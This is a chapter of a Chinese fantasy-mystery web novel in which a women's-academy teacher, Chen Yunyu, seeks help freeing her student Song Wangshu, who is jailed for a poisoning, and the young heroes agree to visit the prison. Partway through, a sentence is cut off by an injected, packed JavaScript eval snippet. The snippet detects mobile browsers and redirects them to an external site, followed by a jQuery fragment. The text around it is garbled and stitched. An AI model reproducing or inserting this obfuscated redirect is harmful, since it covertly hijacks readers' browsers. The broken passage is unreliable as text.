乔雁回一愣,追问道:“是哪位程夫子?”
侍从应答:“夫人,是之前拜访过的程韫玉夫子。”
乔雁回反应过来:“原来是韫玉来了,快请她进来。”
裴照野却有些疑惑:“程夫子?”
沈知微向他解释道:“她是我爹娘的挚友青崖先生的弟子,之前来过府上拜访。只是青崖先生本名也姓程,所以我娘没反应过来。”
裴照野惊呼:“她是夫子的弟子!”
一旁的晏星垂听了,也有些期待。
她听师父提起过,他有一位好友,名唤程砚卿,是位夫子。曾经来信说,自己收养了一位女弟子。
她一直很好奇,这位程前辈和她的弟子。只是可惜程前辈这十几年忙着带学生,未曾带她的弟子来过无为山,连和师父的交流也只是靠每月的几封书信。
再加上晏星垂之前也下不了山,就算早已知晓程韫玉其人,却也未曾碰过面,倒是没想到今日却突然有幸一见。
裴照野抬手捂着胸口,心生感慨道:“没想到我这次来扬州,竟能见识这么多人物。这扬州是个好地方啊!”
“他怎么了,为什么突然就开始感叹了?”晏星垂有些不明白。
“别担心,他第一次见我和我爹娘的时候也是这反应,等他过完戏瘾就好。”沈知微倒是知道他怎么了,轻声给晏星垂解释。
当年圣上和他的五位挚友经历磨难,共斩妖王。这五位被世人戏称为:
一剑一夫子一医师一书生一侠客。
一剑,指的是当年最强的捉妖师,人称沐公的沐长风,他手持白虹剑,也被称为白虹剑主。
一夫子,指的是和皇后共同创办了女学的青崖先生,程砚卿。
一书生,指的是出身江南沈家,人称明远公的沈观澜。
一侠客,指的是江湖上赫赫有名的乔女侠,乔雁回。
晏星垂,程韫玉二人皆是当年闻名天下的捉妖小队成员的弟子,而沈知微也算是继承了父母的衣钵。
裴照野虽是勋贵公子,心中却有着如江湖侠客一般的豪情。
他崇拜圣上,对当年捉妖小队的风采更是推崇之至,今日骤然见到这么多和当年捉妖小队有联系的人,自然心有所触。
裴照野突然冲过来抓住沈知微的手:“沈知微,你也是个好人啊,我裴照野能够认识你,真是太幸福了。”
沈知微便笑着问:“你感叹完了吗?”
裴照野老实了:“感叹完了。”
“那就松手吧。”
裴照野松开手:“真是的,你就不能让我再感慨一会?”
“韫玉姑娘马上就要进来了,你确定要给她看见这样?”
“那是不能的,也太失礼了。”裴照野边说着,边整理了下衣冠。
晏星垂第一次见这么有意思的人,怕被裴照野发现,就躲在沈知微身后偷偷地笑。
见裴照野端正了神态,她也侧步出来,假装无事发生。
这一会儿的功夫,侍从已经领着程韫玉到了厅堂。
只见其身穿暗绿的布衣,一头乌发用发带整齐的束起。身姿清瘦,满身的书卷气。
她走上前来,抬手作揖:“晚辈程韫玉,见过乔前辈。”
她又侧身:“见过诸位公子,小姐。”
三人抬手作揖回礼,晏星垂和裴照野也一一向她介绍自己的姓名和来历。
她听完晏星垂的介绍,眼睛一亮:“我听老师提起过你,说你天赋超绝,将来一定能成为厉害的捉妖师,没想到今日竟然有缘得见。”
晏星垂高兴了,眼睛亮晶晶的:“我也听师父提起过你,说你擅研医术,以后一定能成为悬壶济世的名医,没想到今日会在沈府相会。”
两个互夸完,心里都对对方充满欣赏。
程韫玉又看向裴照野:“我之前看女学的学生们来信,信中说扬州来了一位擅长断案的裴公子,想来就是您吧。”
裴照野谦虚道:“程夫子年纪轻轻,就已通过了女学的考校,在女学任职。在下不过是雕虫小技罢了,不敢在夫子面前卖弄。”
程韫玉又开口道:“我与你们应是平辈,你们也不是我的学生,听你们唤我夫子倒是有些别扭,不若就互称姓名可好?”
裴照野自然答应。
晏星垂歪头问她:“那我能唤你韫玉吗?”
程韫玉便答:“自然,那我便叫你星垂?”
晏星垂小声欢呼。
乔雁回见他们小辈介绍完,就让他们各自坐下。
晏星垂见了程韫玉就感到亲切,就挨着她找了个位置坐。
裴照野刚坐下就开始对晏星垂和沈知微使眼色。
能够和程韫玉结交的机会固然珍贵,但宋望舒的性命已危在旦夕,他们得先调查清楚宋望舒的事。
这宋望舒是女学的学生,而程韫玉是女学的夫子,与其求远去狱中见宋望舒,不如先试着向近在眼前的程韫玉打听消息。
他见晏星垂和沈知微轻轻点头,显然也正有此意。
乔雁回有些担忧的问:“韫玉啊,你前段时间不是回南州看望砚卿了吗?今日怎么忽然来了,可是碰上什么事了?”
不怪乔雁回担忧,之前程韫玉来拜访时,都会先提前三日递上拜帖,和她约定时间。
乔雁回虽然让她不必拘泥于礼数,但这姑娘每次上门前却还是坚持提前递上拜帖,说是担心自己的拜访会打扰到她,她便由着她去了。
程韫玉也不扭捏,起身相求道:“乔前辈,实不相瞒,晚辈今日上门确有事相求。”
“我有一学生,名唤宋望舒,蒙冤入狱,我今日来,是想借沈府之势,查清真相。”
这边三个人使完眼色,晏星垂离程韫玉最近,本来都准备起身,向程韫玉行礼求问了,这会儿一听程韫玉本就是为宋望舒前来,又默默的坐稳。
几人开始认真地听程韫玉讲述。
程韫玉在扬州城的女学里担任夫子,虽擅医术,但论教学的能力,和女学里其她更有经验的夫子比起来,还是有所差距。
因此她在女学中,并非教授医术这门大课,而是领了其中一门小课,教导学生们如何辨别草药,以及炮制草药的方法,以此积累自己的经验,锻炼能力。
女学的学生,多是家境贫寒者,她们会选修她的这门课,很多都是希望学会了后,能够靠售卖草药来赚点钱,以补贴家用。
宋望舒就是如此,她出身慈济堂,手头拮据,后来柳府聘请她为家中次女教学,手头宽裕了不少,但也还是坚持来上她的课。
宋望舒虽出身贫寒,但心性坚韧,本性纯良,是个胸有沟壑的女子。不仅在女学中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323217|183188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成绩优异,位列前茅,和女学中的学生也相处融洽。
程韫玉私下里很喜欢她。
两个月前,她向女学告假,回了南州看望老师,却不想收到了女学学生们的急信。
信中言,柳府次女柳映蘅被发现惨死家中,死因是中毒。官府在宋望舒为柳映蘅带的糕点中,验出了毒物,再加上宋望舒会辨识草药,就被指控为凶手。羁押在狱,只待时间一到,就要问斩。
女学学生们能知晓的消息有限,因此信中所言并不详尽。
宋望舒曾多次和程韫玉提过柳映蘅,她说她的这位学生天性浪漫,喜好诗词,是个可怜可爱的小姑娘。
程韫玉知道宋望舒很喜欢她的这位学生。
她相信宋望舒的品行,不信宋望舒会害柳小姐,于是一路驾马奔驰,为救宋望舒而赶了回来。但路途遥远,前日夜晚才抵达扬州。
她昨日前往官府,想以女学夫子的身份前往狱中见宋望舒,却被府衙以宋望舒为要犯为由拒绝,不允她见。
她又拜访了柳府,她只报上身份,就被柳府赶了出来。
她深知她现在只是女学的夫子,倘若以她一人之力,恐怕是难救宋望舒,因此今日便想凭着老师和沈府的交情,前来借势。
听完程韫玉的讲述,几个人对视了一下,最后还是由乔雁回作为长辈先开了口:“韫玉,你来的正巧,我们前头正在讨论这位宋姑娘呢。”
程韫玉不解:“还请前辈解惑。”
乔雁回看了看晏星垂等人:“还是让他们三个和你说吧。”
他们三人相互看了一眼,最后还是决定让参与了全程的沈知微来解释。
沈知微便起身,将那两张纸呈递给程韫玉。将他们的推测娓娓道来。
程韫玉听完经过,感叹道:“若果真如此,那这位妖族姑娘能在望舒含冤落魄时冒着风险出手相帮,是有君子之风啊。”
“可我从未听望舒和我提起过这位姑娘的事,真是怪哉。”
宋望舒与她交好,就算碍于那位姑娘妖族的身份,不便告知身份来历,却也不至于对她闭口不谈,只字不提。
裴照野玩笑道:“总不能是这妖单方面认识宋望舒吧?”
晏星垂对程韫玉开口道:“韫玉,我们接下来打算前往狱中探视宋望舒,不知你可愿与我们同行?”
程韫玉感激道:“自然愿意,能得诸位帮助,是我和望舒的荣幸,韫玉在此谢过诸位。”
程韫玉说着,起身向他们行了一个大礼。
三人皆起身回礼。
沈知微:“韫玉姑娘言重了,我既读圣贤之书,就应遵先贤之志。见死不救,绝非君子所为,此乃我应尽之事。”
晏星垂:“我辈修行,自当平天下不平事,宋望舒身负冤情,我等自当相助。”
裴照野:“探案缉凶本就是我的追求,宋望舒一案疑点重重,我自当将其查个水落石出。”
乔雁回把她扶起来:“是啊,韫玉,你这不就太客气了。”
程韫玉动容道:“谢谢你们。”
晏星垂道:“韫玉,你就别客气了,马车已经备好了,我们随时可以出发。”
裴照野招呼着:“走吧,我还有好多问题没搞清楚呢。”
沈知微一笑:“嗯,想来等我们见到宋望舒时,一切自会分晓。”